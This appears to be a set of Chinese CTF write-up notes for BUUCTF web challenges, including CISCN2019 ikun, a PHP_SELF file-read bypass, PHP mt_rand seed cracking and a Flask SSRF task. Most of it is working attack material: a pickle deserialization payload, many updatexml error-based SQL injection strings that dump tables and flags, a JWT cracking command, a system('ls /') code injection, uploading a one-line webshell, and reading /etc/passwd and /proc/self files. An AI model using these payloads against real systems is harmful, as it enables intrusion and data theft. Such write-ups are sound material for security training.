参考博客
include 'config.php'; // FLAG is defined in config.php
if (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])) {
exit("I don't know what you are thinking, but I won't let you read it :)");
}
if (isset($_GET['source'])) {
highlight_file(basename($_SERVER['PHP_SELF']));
exit();
}
$secret = bin2hex(random_bytes(64));
if (isset($_POST['guess'])) {
$guess = (string) $_POST['guess'];
if (hash_equals($secret, $guess)) {
$message = 'Congratulations! The flag is: ' . FLAG;
} else {
$message = 'Wrong.';
}
}
?>
preg_match
正则匹配,结尾用不可见字符绕过
要从config.php
读flag
,$_SERVER['PHP_SELF']
表示的就是当前访问的php
页面
当我们传入index.php/config.php时,仍然请求的是index.php,但是当basename()处理后,highlight_file()得到的参数就变成了config.php,从而我们就实现了任意文件包含。
/index.php/config.php/啊?source
====================================================
CISCN2019 华北赛区 Day1 Web2ikun
先找有’lv6.png’的页面,查源码可以看到图片的命名方式
import requests
url="http://e2a346a8-9df8-4038-9c92-2bdb2a343420.node4.buuoj.cn:81/shop?page=";
for i in range(0,1000):
res=requests.get(url+str(i))
if('lv6.png' in res.text):
print("findstr"+str(i))
break
#findstr180
jwt-cracker
jwtcracker eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6IjExMSJ9.5hqClCrHxXTMD2pR9wgK4Kjt8Quuy1puPM4MamgHLOg
import pickle
import urllib
class payload(object):
def __reduce__(self):
return (eval, ("open('/flag.txt','r').read()",))
a = pickle.dumps(payload())
a = urllib.quote(a)
print a
生成
c__builtin__%0Aeval%0Ap0%0A%28S%22open%28%27/flag.txt%27%2C%27r%27%29.read%28%29%22%0Ap1%0Atp2%0ARp3%0A.
点击b1g_m4mber
中的一键成为大会员,将admin
改为上述值即可
https://blog.csdn.net/qq_61778128/article/details/127113502
https://www.cnblogs.com/Article-kelp/p/16046948.html
发现数据传到check.php,访问发现源码,考察伪随机数
需要根据已经有的前半部分字符串,利用php_mt_seed跑出伪随机数种子,再生成这个完整的字符串
error_reporting(0);
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$string='NTxNCNzpql';
$len1=10;
for ( $i = 0; $i < $len1; $i++ ){
$pos=strpos($str_long1,$string[$i]);
echo $pos." ".$pos." 0 61 " ;
}
?>
49 49 0 61 55 55 0 61 23 23 0 61 49 49 0 61 38 38 0 61 49 49 0 61 25 25 0 61 15 15 0 61 16 16 0 61 11 11 0 61
linux下用php_mt_seed-main工具,先make
注册账号,然后登陆
上传图片,抓包,改后缀,加一句话
找到路径
打开,连shell,根目录下找flag
二次注入,登录处注入没用,选文章那尝试了文件包含没用
双引号闭合,故构造语句(有空格过滤)
aaa“||updatexml(1,concat(0x7e,database(),0x7e),1)#
查一下表名
aaa"||updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),0x7e),1)#
aaa"||updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name='flag')),0x7e),1)#
aaa"||updatexml(1,concat(0x7e,(select(flag)from(web_sqli.flag)),0x7e),1)#
看看users表有无flag
aaa"||updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users')),0x7e),1)#
盲猜没显示全,right、left不能用,换regexp()
aaa"||updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users')&&(column_name)regexp('^r')),0x7e),1)#
查一下flag
aaa"||updatexml(1,concat(0x7e,(select(group_concat(real_flag_1s_here))from(users)),0x7e),1)#
一堆杂结果,正则匹配内容
aaa"||updatexml(1,concat(0x7e,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^flag')),0x7e),1)#
aaa"||updatexml(1,concat(0x7e,(reverse(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('9578'))),0x7e),1)#
flag{d9887829-d110-4cec-9578-970715946271}
参考博客
index.php查看源码有文件包含?file=xxxx
伪协议读源码
change.php
require_once "config.php";
if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
{
$msg = '';
$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
$user_name = $_POST["user_name"];
$address = addslashes($_POST["address"]);
$phone = $_POST["phone"];
if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
$msg = 'no sql inject!';
}else{
$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
$fetch = $db->query($sql);
}
if (isset($fetch) && $fetch->num_rows>0){
$row = $fetch->fetch_assoc();
$sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];
$result = $db->query($sql);
if(!$result) {
echo 'error';
print_r($db->error);
exit;
}
$msg = "订单修改成功";
} else {
$msg = "未找到订单!";
}
}else {
$msg = "信息不全";
}
?>
对username有过滤,但是对address没有过滤,在confirm中对地址没有过滤便进行插入
"' and updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),1,32)),0x7e),1)#
"' and updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),30,32)),0x7e),1)#
代码审计发现是向某个随机生成的目录index.php写内容,先action=pwd获取自己的目录
然后尝试短标签<=system("ls")>
空格%09
绕过查看根目录?action=upload&data==system("ls%09/")?>
查flag
f12 network发现有一个302跳转buy页面,直接访问无果
抓包发现302重设了cookie
base64解码看到json字符串
尝试改金额放到cookie里
文件包含任意文件下载
尝试/etc/passwd下载到beautiful.jpg里
尝试php://filter伪协议读源码无果
直接尝试/flag下载
看别的师傅的wp发现这道题本意并非如此
参考博客
/proc/self/cmdline 获取进程启动命令
读/proc/self/cwd/app.py也就是当前运行程序环境下的app.py
from flask import Flask, Response
from flask import render_template
from flask import request
import os
import urllib
app = Flask(__name__)
SECRET_FILE = "/tmp/secret.txt"
f = open(SECRET_FILE)
SECRET_KEY = f.read().strip()
os.remove(SECRET_FILE)
@app.route('/')
def index():
return render_template('search.html')
@app.route('/page')
def page():
url = request.args.get("url")
try:
if not url.lower().startswith("file"):
res = urllib.urlopen(url)
value = res.read()
response = Response(value, mimetype='application/octet-stream')
response.headers['Content-Disposition'] = 'attachment; filename=beautiful.jpg'
return response
else:
value = "HACK ERROR!"
except:
value = "SOMETHING WRONG!"
return render_template('search.html', res=value)
@app.route('/no_one_know_the_manager')
def manager():
key = request.args.get("key")
print(SECRET_KEY)
if key == SECRET_KEY:
shell = request.args.get("shell")
os.system(shell)
res = "ok"
else:
res = "Wrong Key!"
return res
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8080)